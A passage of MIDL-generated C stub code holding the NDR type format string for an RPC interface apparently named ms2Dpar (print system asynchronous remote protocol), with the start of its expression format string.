*/\n\t\t\tNdrFcShort( 0xffe5 ),\t/* Offset= -27 (3104) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3134 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3136 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3138 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 3140 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3142 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3144 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3146 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3148 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3150 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3154 */\tNdrFcLong( 0x32 ),\t/* 50 */\n/* 3158 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3162 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3164 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3166 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3170 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3174 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3176 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3120) */\n/* 3178 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3180 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3182 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3184 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3186 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3192) */\n/* 3188 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3190 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3192 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3194 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3138) */\n/* 3196 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3198 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3200) */\n/* 3200 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 3202 */\t0x2,\t\t/* 2 */\n\t\t\t0x1,\t\t/* 1 */\n/* 3204 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3206 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3208) */\n/* 3208 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 3210 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3212 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 3214 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3216 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 3218 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3220) */\n/* 3220 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3222 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (3180) */\n/* 3224 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3226 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3228) */\n/* 3228 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3230 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3232 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3234 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3236 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3238 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3240 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3244 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3248 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3250 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3252 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3254) */\n/* 3254 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3256 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3258 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3260 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3262 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3264 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3266 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3270 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3274 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3276 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3278 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (3322) */\n/* 3280 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3282 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3284 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3286 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3288 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3290 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3292 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3294 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfff1 ),\t/* Offset= -15 (3280) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3298 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3300 */\tNdrFcShort( 0x208 ),\t/* 520 */\n/* 3302 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3304 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3306 */\tNdrFcShort( 0x228 ),\t/* 552 */\n/* 3308 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3310 */\tNdrFcShort( 0xffe8 ),\t/* Offset= -24 (3286) */\n/* 3312 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3314 */\tNdrFcShort( 0xf868 ),\t/* Offset= -1944 (1370) */\n/* 3316 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3318 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffeb ),\t/* Offset= -21 (3298) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3322 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 3324 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3326 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3328 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3330 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3332 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3334 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3342 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3346 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3348 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3350 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3354 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3358 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3360 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3304) */\n/* 3362 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3364 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3366 */\tNdrFcShort( 0xffb0 ),\t/* Offset= -80 (3286) */\n/* 3368 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3370 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3372) */\n/* 3372 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3374 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3376 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3378 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3380 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3382 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3384 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3392 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3394 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3396 */\tNdrFcShort( 0x4a ),\t/* Offset= 74 (3470) */\n/* 3398 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0xd,\t\t/* FC_ENUM16 */\n/* 3400 */\t0x6,\t\t/* Corr desc: FC_SHORT */\n\t\t\t0x0,\t\t/*  */\n/* 3402 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3404 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3406 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3408 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3412 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3416 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3418) */\n/* 3418 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3420 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 3422 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3426 */\tNdrFcShort( 0xf2a0 ),\t/* Offset= -3424 (2) */\n/* 3428 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 3432 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 3434 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 3438 */\tNdrFcShort( 0x800b ),\t/* Simple arm type: FC_HYPER */\n/* 3440 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 3444 */\tNdrFcShort( 0x8002 ),\t/* Simple arm type: FC_CHAR */\n/* 3446 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 3450 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3454) */\n/* 3452 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3451) */\n/* 3454 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3456 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3460 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3466) */\n/* 3462 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3464 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3466 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3468 */\tNdrFcShort( 0xf286 ),\t/* Offset= -3450 (18) */\n/* 3470 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3472 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3474 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3476 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3476) */\n/* 3478 */\t0xd,\t\t/* FC_ENUM16 */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3480 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3482 */\tNdrFcShort( 0xffac ),\t/* Offset= -84 (3398) */\n/* 3484 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3486 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3488 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3490) */\n/* 3490 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3492 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 3494 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3496 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3504) */\n/* 3498 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3500 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe1 ),\t/* Offset= -31 (3470) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3504 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3506 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3508 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 3510 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3512) */\n/* 3512 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3514 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3516) */\n/* 3516 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 3518 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3520 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3522 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3524 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3526 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3528 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3532 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3536 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3540 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3542 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3544 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3548 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3552 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3554 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (3490) */\n/* 3556 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3558 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3560 */\tNdrFcShort( 0x106 ),\t/* Offset= 262 (3822) */\n/* 3562 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0xd,\t\t/* FC_ENUM16 */\n/* 3564 */\t0x6,\t\t/* Corr desc: FC_SHORT */\n\t\t\t0x0,\t\t/*  */\n/* 3566 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3568 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3570 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3572 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3576 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3580 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3582) */\n/* 3582 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 3584 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 3586 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3590 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (3618) */\n/* 3592 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 3596 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (3658) */\n/* 3598 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 3602 */\tNdrFcShort( 0x4a ),\t/* Offset= 74 (3676) */\n/* 3604 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 3608 */\tNdrFcShort( 0x76 ),\t/* Offset= 118 (3726) */\n/* 3610 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 3614 */\tNdrFcShort( 0x88 ),\t/* Offset= 136 (3750) */\n/* 3616 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3615) */\n/* 3618 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3620 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3622 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3624 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (3638) */\n/* 3626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3628 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3630 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3632 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 3634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3636 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3638 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3640 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3642 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3644 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3646 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3648 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3650 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3652 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3654 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3656 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3658 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3660 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3662 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3664 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3664) */\n/* 3666 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3668 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3670 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3672 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x3e,\t\t/* FC_STRUCTPAD2 */\n/* 3674 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3676 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3678 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 3680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3682 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (3698) */\n/* 3684 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3686 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3688 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3690 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 3692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3694 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3696 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3698 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3700 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3702 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3704 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3706 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3708 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3710 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3712 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3714 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3716 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3718 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3720 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3722 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3724 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3726 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3728 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3730 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3732 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3738) */\n/* 3734 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3736 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3738 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3740 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3742 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3744 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3746 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3748 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3750 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3752 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3754 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3756 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3760) */\n/* 3758 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3760 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3762 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3764 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3766 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 3768 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3770 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3770) */\n/* 3772 */\t0xd,\t\t/* FC_ENUM16 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3774 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3776 */\tNdrFcShort( 0xff2a ),\t/* Offset= -214 (3562) */\n/* 3778 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3780 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 3782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3784 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3786 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3788 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3790 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3792 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3796 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3800 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3804 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3806 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3808 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3812 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3816 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3818 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (3764) */\n/* 3820 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3822 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3824 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3826 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (3780) */\n/* 3828 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3828) */\n/* 3830 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3832 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Dpar_MIDL_EXPR_FORMAT_STRING ms2Dpar__MIDL_ExprFormatString =\n    {\n        0,\n        {\n\t\t\t0x4,\t\t/* FC_EXPR_OPER */\n\t\t\t0x1b,\t\t/* OP_AND */\n/*  2 */\t0x0,\t\t/*  */\n\t\t\t0x0,\t\t/* 0 */\n/*  4 */\t0x1,\t\t/* FC_EXPR_CONST32 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcLong( 0xffffff ),\t/* 16777215 */\n/* 12 */\t0x3,\t\t/* FC_EXPR_VAR */\n\t\t\t0x9,\t\t/* 